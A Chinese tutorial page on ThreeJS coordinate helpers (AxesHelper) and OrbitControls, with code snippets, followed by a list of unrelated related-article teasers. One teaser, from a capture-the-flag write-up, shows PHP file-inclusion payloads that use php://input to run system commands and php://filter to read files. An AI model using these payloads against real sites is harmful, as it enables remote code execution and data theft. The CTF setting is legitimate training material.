ThreeJS:坐标辅助器与轨道控制器

ThreeJS与右手坐标系

    使用ThreeJS创建3D场景时,需要使用一个坐标系来定位和控制对象的位置和方向。

        ThreeJS使用的坐标系是右手坐标系,即:X轴向右、Y轴向上、Z轴向前,如下图所示,

ThreeJS-右手坐标系

        Tips:右手坐标系下的右手规则是指,将右手伸出,并将大拇指方向指向X轴的正方向,食指指向Y轴的正方向,中指指向Z轴的正方向。

添加坐标辅助器

        ThreeJS提供了AxesHelper类,用于简单模拟3个坐标轴的对象,其中:红色代表 X 轴. 绿色代表 Y 轴. 蓝色代表 Z 轴.

        为了方便指示当前场景的坐标轴朝向,可以向场景添加AxesHelper坐标辅助器。

使用坐标辅助器

//TODO:创建坐标辅助器
const axesHelper = new THREE.AxesHelper(5);
scene.add(axesHelper);

坐标辅助器效果

添加轨道控制器

        轨道控制器是ThreeJS提供的一个非常实用的工具,它可以帮助用户更加轻松的探索3D场景——通过鼠标或者触摸屏交互的方式,实现3D场景的平移、旋转、缩放操作,从而改变相机的观察视角。

使用轨道控制器

        ThreeJS提供了Orbit controls(轨道控制器)可以使得相机围绕目标进行轨道运动。

//TODO:轨道控制器
const orbitControls = new OrbitControls(camera, renderer.domElement);
orbitControls.update();

        在循环渲染函数中,调用update()方法,更新渲染器,

//TODO:渲染函数
function animate() {
  requestAnimationFrame(animate);
  //TODO:更新轨道控制器
  orbitControls.update();
  //TODO:渲染
  renderer.render(scene, camera);
}

        注意点:更改相机视角之后,必须手动调用update方法更新控制器。

轨道控制器效果

        通过鼠标修改相机视角,

设置轨道控制器的属性

        OrbitControls轨道控制器包含很多属性,通过设置属性,可以限定可平移、旋转、缩放的范围,以及阻尼效果、阻尼系数、自动旋转、自动旋转系数等。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/589275.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙学习1概况

鸿蒙学习1相关概念 前言相关概念Stage 模型1. AbilityStage2. UIAbility组件和ExtensionAbility组3. WindowStage4. Context 事件传递UIAbility组件与UI的数据同步UIAbility组件间交互(设备内) 进程模型线程模型 前言 有时间多看官网,官网的…

ctfshow web78 获取flag(用老版的火狐浏览器)

题&#xff1a; 第一种&#xff1a;利用input伪协议 ,获取到flag ?filephp://input POST data <?php system(tac ls) ?> 第二种&#xff1a;利用flter协议,获取到flag https://21d9e58a-c0fd-47ea-a9c4-d875100f2fdb.challenge.ctf.show/?filephp://filter/readcon…

如何彻底删除python

点击菜单栏中的“开始”&#xff0c;打开“运行”。 在运行上输入“cmd”&#xff0c;点击“确定”&#xff0c;接着输入“python --version”&#xff0c;得到一个程序的版本。 然后到这个网上下载对应的程序的版本&#xff0c;接着点击这个版本软件&#xff0c;点击这个卸载。…

java入门-日期类

日期类 Date类 Date类表示特定的时间&#xff0c;可以精确到毫秒。 获取Date对象 Date date new Date(); 构造方法 /*** Allocates a <code>Date</code> object and initializes it so that* it represents the time at which it was allocated, measured to…

WebStorm2024版 将项目上传到gitee

目录 一、准备 WebStorm gitee 二、上传代码到Gitee 三、过程中遇到的问题 报错&#xff1a;You may want to first integrate the remote changes (e.g., git pull ...) before pushing again. 报错&#xff1a;fatal: refusing to merge unrelated histories 报错&a…

Linux深入学习内核 - 中断与异常(下)

软中断&#xff0c;Tasklet和Work Queue 由内核执行的几个任务之间有一些不是紧急的&#xff0c;他们可以被延缓一段时间&#xff01;把可延迟的中断从中断处理程序中抽出来&#xff0c;有利于使得内核保持较短的响应时间&#xff0c;所以我们现在使用以下面的这些结构&#x…

【linux】进程间通信(匿名管道)

对于本篇文章我们采取三段论&#xff1a;是什么 为什么 怎么办。 目录 进程间为什么要通信&#xff1f;进程间如何通信&#xff1f;进程间怎么通信&#xff1f;匿名管道&#xff1a;匿名管道原理&#xff1a;代码示例&#xff1a;匿名管道的情况与特征&#xff1a; 进程间为什…

双指针(C++)

文章目录 1、移动零2、复写零3、快乐数4、盛最多水的容器5、有效三角形的个数6、和为s的两个数7、三数之和8、四数之和 需要理解的是&#xff0c;双指针并非只有指针&#xff0c;双指针的意思是两个位置。比如对于数组来说&#xff0c;两个下标也是双指针。当然&#xff0c;也可…

二叉树中的最大路径和 - LeetCode 热题 50

大家好&#xff01;我是曾续缘&#x1f638; 今天是《LeetCode 热题 100》系列 发车第 50 天 二叉树第 15 题 ❤️点赞 &#x1f44d; 收藏 ⭐再看&#xff0c;养成习惯 二叉树中的最大路径和 二叉树中的 路径 被定义为一条节点序列&#xff0c;序列中每对相邻节点之间都存在一…

冯喜运:5.2黄金触底反弹今日还会跌吗?原油最新行情分析策略

【黄金消息面分析】&#xff1a;周三(5月1日)&#xff0c;受美联储主席鲍威尔讲话影响&#xff0c;现货黄金价格暴涨近33美元&#xff1b;周四亚市早盘&#xff0c;现货黄金守住涨幅&#xff0c;目前交投于2323.69美元/盎司。此外&#xff0c;美联储主席鲍威尔(Jerome Powell)未…

RoNID:通过生成可靠标签与聚类友好型表征来实现新意图的发现

论文地址&#xff1a;https://arxiv.org/abs/2404.08977 原文地址&#xff1a;intents-are-not-going-away-ronid-is-a-new-intent-discovery-framework 2024 年 4 月 26 日 Robust New Intent Discovery&#xff08;RoNID&#xff09;框架致力于在开放域场景中识别已知意图并合…

树莓派控制步进电机(上):硬件连接

目录 说明 硬件连接 DM542的连接方法 树莓派的连接方法 参考文献 说明 最近需要测试树莓派控制步进电机的功能&#xff0c;在查阅网上资料的基础上做了一些整理和测试&#xff0c;特别记录在此。这里我们使用的是树莓派4B开发板&#xff0c;步进电机为6线两相步进电机&am…

探索APP分发的含义和小猪APP分发平台的优势(小猪APP分发平台)

一、APP分发的基本含义 APP分发指的是将开发完成的APP通过特定渠道推广给用户的过程。这个过程涵盖探索APP分发的含义和小猪APP分发平台的优势了从提交、审核到发布的全过程探索APP分发的含义和小猪APP分发平台的优势&#xff0c;目的是让APP更好地触达潜在用户探索APP分发的含…

AI时代程序员必备的22个网站,你了解多少?

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

2024-05-02 商业分析-杭州小万科技-商业模式分析

摘要: 对杭州小万科技的商业模式进行分析,以对其做出客观的评估。 杭州小万科技的资料: 杭州小万科技有限公司 - 企知道 (qizhidao.com) 杭州小万科技有限公司网站备案查询 - 天眼查 (tianyancha.com) 杭州小万科技有限公司 - 爱企查 (baidu.com) ​ 2023年年报:

高中数学:三角函数公式汇总及推导

一、定义 常用三角函数值 参考&#xff1a; 三角函数定义 二、基本三角函数及相互关系 sinx cosx tanx cscx secx cotx 函数间相互关系 参考&#xff1a; cosx、sinx、tanx的函数图像与性质 secx、cscx、cotx函数图像及相关关系 三、诱导公式 口诀&#xff1a;奇变…

【Python文字识别】基于HyperLPR3实现车牌检测和识别(Python版本快速部署)

闲来无事&#xff0c;想复现一下网上的基于YOLO v5的单目测距算法。然后就突然想在这个场景下搞一下车牌识别&#xff0c;于是就有了这篇文章。今天就给大家分享基于HyperLPR3实现车牌检测和识别。 原创作者&#xff1a;RS迷途小书童 博客地址&#xff1a;https://blog.csdn.ne…

商务谈判模拟口才训练方案(3篇)

商务谈判模拟口才训练方案&#xff08;3篇&#xff09; 商务谈判模拟口才训练方案&#xff08;一&#xff09; 一、训练目标 本训练方案旨在提高参与者在商务谈判中的口才表达能力&#xff0c;包括清晰表达、有效倾听、应对挑战和构建信任等能力。 二、训练内容 基础口才训练…

android天气实战

页面绘制 问题1、下拉框需要背景为透明 我懒得写全部省份就写了5个所以不需要往下 图标准备 iconfont-阿里巴巴矢量图标库几坤年没来这了好怀念啊&#xff0c;图标库选择下雨的图标等 准备网络请求 0、API接口准备 api免费七日天气接口API 未来一周天气预报api (tianqiap…

智慧能源数据监控平台

随着科技的飞速发展&#xff0c;能源管理已逐渐从传统的粗放型向精细化、智能化转变。在这个转型过程中&#xff0c;HiWoo Cloud平台的智慧能源数据监控平台以其独特的技术优势和创新理念&#xff0c;正引领着能源管理的新潮流。 一、智慧能源数据监控平台的概念 智慧能源数据…